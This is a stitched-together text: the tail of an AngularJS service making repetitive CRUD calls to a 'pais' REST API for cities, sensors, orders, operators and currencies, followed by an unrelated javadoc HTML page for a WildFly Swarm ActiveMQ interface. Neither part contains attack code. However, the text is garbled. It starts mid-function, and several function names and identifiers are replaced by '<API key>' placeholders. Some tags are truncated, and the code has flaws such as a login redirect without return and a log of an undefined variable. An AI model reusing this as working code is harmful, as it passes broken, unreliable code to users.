location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/cities"). success(function(data, status) { //var result = JSON.stringify(data); //var dataJSON = JSON.parse(result); if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.addNewCity = function (city) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.post(serverurl + "pais/cities", city). success(function(data, status) { //var result = JSON.stringify(data); //var dataJSON = JSON.parse(result); if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.deleteCity = function (id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.delete(serverurl + "pais/cities/" + id). success(function(data, status) { //var result = JSON.stringify(data); //var dataJSON = JSON.parse(result); if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getCountries = function () { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/countries"). success(function(data, status) { //var result = JSON.stringify(data); //var dataJSON = JSON.parse(result); if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.addNewCountry = function (country) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.post(serverurl + "pais/countries", country). success(function(data, status) { //var result = JSON.stringify(data); //var dataJSON = JSON.parse(result); if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.deleteCountry = function (id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.delete(serverurl + "pais/countries/" + id). success(function(data, status) { //var result = JSON.stringify(data); //var dataJSON = JSON.parse(result); if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.updateCountry = function (country) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.put(serverurl + "pais/countries", country). success(function(data, status) { //var result = JSON.stringify(data); //var dataJSON = JSON.parse(result); if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getSensorTypes = function () { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/sensorTypesDetailed"). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getSensorType = function (id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/sensorTypes/" + id). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.addSensorType = function (sensor) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.post(serverurl + "pais/sensorTypes", sensor). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.updateSensorType = function (sensor) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.put(serverurl + "pais/sensorTypes", sensor). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.deleteSensorType = function (id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.delete(serverurl + "pais/sensorTypes/" + id). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getSensorUOM = function (id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/uoms/" + id). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getUOMs = function () { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/uoms"). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.addNewUOM = function (uom) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.post(serverurl + "pais/uoms", uom). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.updateUOM = function (uom) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.put(serverurl + "pais/uoms", uom). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.deleteUOM = function (id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.delete(serverurl + "pais/uoms/" + id). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getSensorTypeUOMs = function (sensorTypesId) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/sensorTypes/" + sensorTypesId + "/uoms"). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getSensorResults = function (orderId, sensorId, clientId, resultObject) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.post(serverurl + "pais/clients/" + clientId + "/orders/"+ orderId +"/results/sensors/" + sensorId, resultObject). success(function(data, status) { if (status == 200) { console.log("Received 200"); deffered.resolve(data); } else if (status == 404) { console.log("Received 404"); deffered.reject("NA"); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.clientOrder = function (clientId, orderId) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/clients/" + userLS.id + "/orders/" + orderId). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { deffered.reject("Error"); } }). error(function(data, status) { deffered.reject("Error"); }); return deffered.promise; } this.clientOrders = function (clientId) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/clients/" + clientId + "/orders"). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { deffered.reject("Error"); } }). error(function(data, status) { deffered.reject("Error"); }); return deffered.promise; } this.assignOrder = function (clientId, order_id, orderObject) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.post(serverurl + "pais/clients/"+ clientId +"/orders/"+ order_id +"/assingOperator", orderObject). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { deffered.reject("Error"); } }). error(function(data, status) { deffered.reject("Error"); }); return deffered.promise; } this.clientOrderDetailed = function (clientId, orderId) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/clients/" + clientId + "/orders/" + orderId + "/details"). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getAllOrders = function () { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/orders"). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getAllOrdersCount = function (filter) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/orders/count?status=" + filter). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.<API key> = function (filter) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/orders?status=" + filter). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.<API key> = function (status) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/orders?status=" + status). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.<API key> = function (status) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/orders/count?status=" + status). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.clientOrderSensors = function (clientId, orderId, sensorId) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/clients/" + userLS.id + "/orders/" + orderId + "/sensors/" + sensorId). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.evaluateOrder = function (clientId, order) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); console.log("evaluateOrder " + clientId); http.post(serverurl + "pais/clients/" + userLS.id + "/evaluateOrder", order). success(function(data, status) { if (status == 200) { console.log("Status OK"); deffered.resolve(data); } else { console.log("Status not OK"); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error"); deffered.reject("Error"); }); return deffered.promise; } this.placeOrder = function (clientId, order) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); console.log("evaluateOrder " + user); http.post(serverurl + "pais/clients/" + userLS.id + "/orders", order). success(function(data, status) { if (status == 200) { console.log("Status OK"); deffered.resolve(data); } else { console.log("Status not OK"); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error"); deffered.reject("Error"); }); return deffered.promise; } this.getFrequencies = function () { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/frequencies"). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.updateFrequency = function (freq) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.put(serverurl + "pais/frequencies", freq). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.deleteFrequency = function (id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.delete(serverurl + "pais/frequencies/" + id). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.addNewFreq = function (freq) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.post(serverurl + "pais/frequencies", freq). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getImageTypes = function () { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/imageTypes"). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.updateImageType = function (imageType) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.put(serverurl + "pais/imageTypes", imageType). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.addImageType = function (imageType) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.post(serverurl + "pais/imageTypes", imageType). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.deleteImageType = function (id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.delete(serverurl + "pais/imageTypes/" + id). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.<API key> = function () { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/operators/companies"). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.addOperatorCompany = function (company) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.post(serverurl + "pais/operators/companies", company). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.<API key> = function (id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.delete(serverurl + "pais/operators/companies/" + id). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getOperators = function () { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/operators"). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.<API key> = function (company_id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/operators?company_id=" + company_id). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getOperator = function (id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/operators/" + id). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.addOperator = function (operator) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.post(serverurl + "pais/operators", operator). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.deleteOperator = function (id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.delete(serverurl + "pais/operators/" + id). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.updateOperator = function (operator) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.put(serverurl + "pais/operators", operator). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getCurrencies = function () { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/currencies"). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.addNewCurrency = function (curr) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.post(serverurl + "pais/currencies", curr). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.removeCurrency = function (id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.delete(serverurl + "pais/currencies/" + id). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getAdministrators = function () { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/administrators"). success(function(data, status) { if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.hello = function () { return "Hello from service"; }; this.testPromise = function (id) { var testDef = q.defer(); var myTimeoutId = setTimeout( function(){ testDef.resolve("hello"); }, 2000); return testDef.promise; } }]);
<!DOCTYPE HTML PUBLIC "- <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (1.8.0_60-ea) on Thu Dec 15 09:48:37 EST 2016 --> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Uses of Interface org.wildfly.swarm.config.messaging.activemq.server.<API key> (Public javadocs 2016.12.1 API)</title> <meta name="date" content="2016-12-15"> <link rel="stylesheet" type="text/css" href="../../../../../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../../../../../script.js"></script> </head> <body> <script type="text/javascript"><! try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Interface org.wildfly.swarm.config.messaging.activemq.server.<API key> (Public javadocs 2016.12.1 API)"; } } catch(err) { } </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <div class="topNav"><a name="navbar.top"> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="interface in org.wildfly.swarm.config.messaging.activemq.server">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../../../../../../../../overview-tree.html">Tree</a></li> <li><a href="../../../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../../../index-all.html">Index</a></li> <li><a href="../../../../../../../../help-doc.html">Help</a></li> </ul> <div class="aboutLanguage">WildFly Swarm API, 2016.12.1</div> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../../../../index.html?org/wildfly/swarm/config/messaging/activemq/server/class-use/<API key>.html" target="_top">Frames</a></li> <li><a href="<API key>.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } </script> </div> <a name="skip.navbar.top"> </a></div> <div class="header"> <h2 title="Uses of Interface org.wildfly.swarm.config.messaging.activemq.server.<API key>" class="title">Uses of Interface<br>org.wildfly.swarm.config.messaging.activemq.server.<API key></h2> </div> <div class="classUseContainer"> <ul class="blockList"> <li class="blockList"> <table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing packages, and an explanation"> <caption><span>Packages that use <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="interface in org.wildfly.swarm.config.messaging.activemq.server"><API key></a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Package</th> <th class="colLast" scope="col">Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><a href="#org.wildfly.swarm.config.messaging.activemq">org.wildfly.swarm.config.messaging.activemq</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="#org.wildfly.swarm.config.messaging.activemq.server">org.wildfly.swarm.config.messaging.activemq.server</a></td> <td class="colLast">&nbsp;</td> </tr> </tbody> </table> </li> <li class="blockList"> <ul class="blockList"> <li class="blockList"><a name="org.wildfly.swarm.config.messaging.activemq"> </a> <h3>Uses of <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="interface in org.wildfly.swarm.config.messaging.activemq.server"><API key></a> in <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/package-summary.html">org.wildfly.swarm.config.messaging.activemq</a></h3> <table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/package-summary.html">org.wildfly.swarm.config.messaging.activemq</a> with parameters of type <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="interface in org.wildfly.swarm.config.messaging.activemq.server"><API key></a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/Server.html" title="type parameter in Server">T</a></code></td> <td class="colLast"><span class="typeNameLabel">Server.</span><code><span class="memberNameLink"><a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/Server.html <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="interface in org.wildfly.swarm.config.messaging.activemq.server"><API key></a>&nbsp;consumer)</code> <div class="block">Create and configure a ConnectorService object to the list of subresources</div> </td> </tr> </tbody> </table> </li> <li class="blockList"><a name="org.wildfly.swarm.config.messaging.activemq.server"> </a> <h3>Uses of <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="interface in org.wildfly.swarm.config.messaging.activemq.server"><API key></a> in <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/package-summary.html">org.wildfly.swarm.config.messaging.activemq.server</a></h3> <table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/package-summary.html">org.wildfly.swarm.config.messaging.activemq.server</a> that return <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="interface in org.wildfly.swarm.config.messaging.activemq.server"><API key></a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>default <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="interface in org.wildfly.swarm.config.messaging.activemq.server"><API key></a>&lt;<a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="type parameter in <API key>">T</a>&gt;</code></td> <td class="colLast"><span class="typeNameLabel"><API key>.</span><code><span class="memberNameLink"><a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html#andThen-org.wildfly.swarm.config.messaging.activemq.server.<API key>-">andThen</a></span>(<a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="interface in org.wildfly.swarm.config.messaging.activemq.server"><API key></a>&lt;<a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="type parameter in <API key>">T</a>&gt;&nbsp;after)</code>&nbsp;</td> </tr> </tbody> </table> <table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/package-summary.html">org.wildfly.swarm.config.messaging.activemq.server</a> with parameters of type <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="interface in org.wildfly.swarm.config.messaging.activemq.server"><API key></a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>default <a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="interface in org.wildfly.swarm.config.messaging.activemq.server"><API key></a>&lt;<a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="type parameter in <API key>">T</a>&gt;</code></td> <td class="colLast"><span class="typeNameLabel"><API key>.</span><code><span class="memberNameLink"><a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html#andThen-org.wildfly.swarm.config.messaging.activemq.server.<API key>-">andThen</a></span>(<a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="interface in org.wildfly.swarm.config.messaging.activemq.server"><API key></a>&lt;<a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="type parameter in <API key>">T</a>&gt;&nbsp;after)</code>&nbsp;</td> </tr> </tbody> </table> </li> </ul> </li> </ul> </div> <div class="bottomNav"><a name="navbar.bottom"> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../../../../org/wildfly/swarm/config/messaging/activemq/server/<API key>.html" title="interface in org.wildfly.swarm.config.messaging.activemq.server">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../../../../../../../../overview-tree.html">Tree</a></li> <li><a href="../../../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../../../index-all.html">Index</a></li> <li><a href="../../../../../../../../help-doc.html">Help</a></li> </ul> <div class="aboutLanguage">WildFly Swarm API, 2016.12.1</div> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../../../../index.html?org/wildfly/swarm/config/messaging/activemq/server/class-use/<API key>.html" target="_top">Frames</a></li> <li><a href="<API key>.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } </script> </div> <a name="skip.navbar.bottom"> </a></div> <p class="legalCopy"><small>Copyright & </body> </html>
